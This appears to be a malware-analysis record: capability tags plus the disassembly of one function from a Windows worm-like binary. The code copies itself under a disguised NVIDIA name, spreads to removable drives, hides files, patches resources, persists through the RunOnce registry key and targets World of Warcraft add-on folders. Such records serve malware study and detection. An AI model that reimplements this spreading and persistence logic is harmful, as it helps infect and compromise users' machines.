Function at 0x404110
Capabilities:
Copy file
Create directory
Create thread
Delete file
Extract resource via kernel32 functions
Get disk information
Get file attributes
Persist via run registry key
Query environment variable
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x324
mov eax, dword [0x40f004]
xor eax, esp
mov dword [esp + 0x320], eax
mov eax, dword [0x411438]
push ebx
push esi
push edi
push 0x104
push 0x411458
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x105
push 0x4117c0
push str._WINDIR_NVIDIAshader.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x104
lea ecx, [esp + 0x11d]
push 0
push ecx
mov byte [esp + 0x124], 0
call fcn.00409890
add esp, 0xc
push 0
mov ecx, 0x411458
lea eax, [esp + 0x11c]
call fcn.00401210
add esp, 4
call fcn.00401780
mov ecx, 0x411458
mov eax, 0x4118c8
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4041c0
test dl, dl
je 0x4041bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4041c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4041a0
xor eax, eax
jmp 0x4041c5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4041e8
call fcn.00401a70
call fcn.00402610
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x320]
xor ecx, esp
call fcn.004047ad
mov esp, ebp
pop ebp
ret
push str.Yandex_
push 0x411458
call fcn.00405610
add esp, 8
test eax, eax
jne 0x40455b
push str.Guard.Mail.Ru_
push 0x411458
call fcn.00405610
add esp, 8
test eax, eax
jne 0x40455b
push str.Google_
push 0x411458
call fcn.00405610
add esp, 8
test eax, eax
jne 0x40455b
push str.AdobeARM_
push 0x411458
call fcn.00405610
add esp, 8
test eax, eax
jne 0x40455b
push 0x4117c0
push 0x411458
call fcn.00405610
add esp, 8
test eax, eax
jne 0x40455b
push 0x411458
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [esp + 0x118]
push 0
push edx
mov ebx, eax
call fcn.004048fb
add esp, 8
test eax, eax
jne 0x4042a2
test bl, 4
jne 0x4042a2
lea eax, [esp + 0x118]
push eax
call fcn.004015b0
add esp, 4
lea ecx, [esp + 0x118]
push 0
push ecx
call fcn.004048fb
add esp, 8
test eax, eax
je 0x404438
test bl, 4
jne 0x404438
push 0x103
lea edx, [esp + 0x225]
push 0
push edx
mov byte [esp + 0x22c], 0
call fcn.00409890
add esp, 0xc
push 0x103
lea eax, [esp + 0x15]
push 0
push eax
mov byte [esp + 0x1c], 0
call fcn.00409890
add esp, 0xc
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x224]
push 0x104
push edx
call fcn.00405b21
add esp, 0xc
lea eax, [esp + 0x220]
push 0x5c
push eax
call fcn.00404920
lea ecx, [esp + 0x228]
add esp, 8
sub eax, ecx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x404338
sub ecx, esi
sub ecx, eax
lea edi, [ecx + 1]
xor edx, edx
test edi, edi
jle 0x404361
lea esp, [esp]
lea esi, [esp + edx + 0x220]
mov cl, byte [esi + eax]
inc edx
mov byte [esi], cl
cmp edx, edi
jl 0x404350
push 0x411ad8
lea edx, [esp + 0x14]
push 0x104
push edx
call fcn.00405ac2
add esp, 0xc
lea eax, [esp + 0x220]
push eax
lea ecx, [esp + 0x14]
push 0x104
push ecx
call fcn.00405b21
add esp, 0xc
lea edx, [esp + 0x10]
push 0
push edx
call fcn.004048fb
add esp, 8
test eax, eax
jne 0x4043f2
push 1
lea eax, [esp + 0x11c]
push eax
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x10]
push edx
test eax, eax
je 0x4043e1
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 6
lea eax, [esp + 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [esp + 0x118]
push ecx
call fcn.004015b0
add esp, 4
mov byte [0x41168e], 1
jmp 0x404438
cmp byte [0x41168e], 0
jne 0x404438
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov esi, 0x410758
push esi
call edi
cmp eax, 2
jne 0x40442d
push 0x4015f0
lea eax, [esp + 0x224]
push eax
push esi
call section..text
add esp, 0xc
cmp byte [0x41168f], 1
je 0x404438
add esi, 4
cmp esi, 0x4107c0
jl 0x404406
call fcn.00402610
push 0
push 0x4118c8
call fcn.004048fb
add esp, 8
test eax, eax
je 0x404510
push 1
push 0x4118c8
push 0x411458
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x404510
push 0x80
push 0x4118c8
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4118c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0x29a
mov esi, eax
push 0x29a
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x4044ad
push 0x18
push 1
push esi
call ebx
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
push 0x4118c8
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push edi
push esi
mov dword [0x411430], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [0x411430]
push eax
push ebx
push 0
push 1
push 0x18
push ecx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [0x411430]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push 7
push 0x4118c8
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.00401a70
push str.wow.exe
push 0x411458
call fcn.00405610
add esp, 8
test eax, eax
je 0x4041d3
push 0x4032d0
push str..lua
push str.InterfaceAddOns_
call section..text
mov ecx, dword [esp + 0x338]
add esp, 0xc
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004047ad
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0x404100
call fcn.00405a1b
add esp, 0xc
lea esp, [esp]
push 0
push 0x4118c8
call fcn.004048fb
add esp, 8
test eax, eax
je 0x404719
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 1
push 0x4118c8
push 0x411458
call edi
test eax, eax
jne 0x404651
push eax
push 0x411ce8
call fcn.004048fb
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add esp, 8
test eax, eax
je 0x4045c4
push 0
push 0x411ce8
call esi
push 0
push 0x411be0
call fcn.004048fb
add esp, 8
test eax, eax
je 0x4045e0
push 0
push 0x411be0
call esi
push 0x103
lea eax, [esp + 0x15]
push 0
push eax
mov byte [esp + 0x1c], 0
call fcn.00409890
add esp, 0xc
push 0x411be0
lea ecx, [esp + 0x14]
push 0x104
push ecx
call fcn.00405ac2
add esp, 0xc
push str.Adobe
lea edx, [esp + 0x14]
push 0x104
push edx
call fcn.00405b21
add esp, 0xc
lea eax, [esp + 0x10]
push 0
push eax
call fcn.004048fb
add esp, 8
test eax, eax
je 0x404643
push 0
lea ecx, [esp + 0x14]
push ecx
call esi
push 1
push 0x4118c8
push 0x411458
call edi
push 0x80
push 0x4118c8
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4118c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0x29a
mov esi, eax
push 0x29a
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x404690
push 0x18
push 1
push esi
call ebx
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push 1
push 0x4118c8
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov dword [0x411430], eax
test eax, eax
jne 0x4046cb
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x4118c8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x404719
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [0x411430]
push eax
push ebx
push 0
push 1
push 0x18
push edx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x411430]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
jne 0x40470c
push 0x4118c8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 7
push 0x4118c8
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x4117c0
push 0x411458
call fcn.00405610
add esp, 8
test eax, eax
je 0x404734
call fcn.00402610
push 0
lea ecx, [esp + 0x10]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x404784
mov edx, dword [esp + 0xc]
push 0x104
push 0x4118c8
push 1
push eax
push 0x40da88
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.00403c50
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404570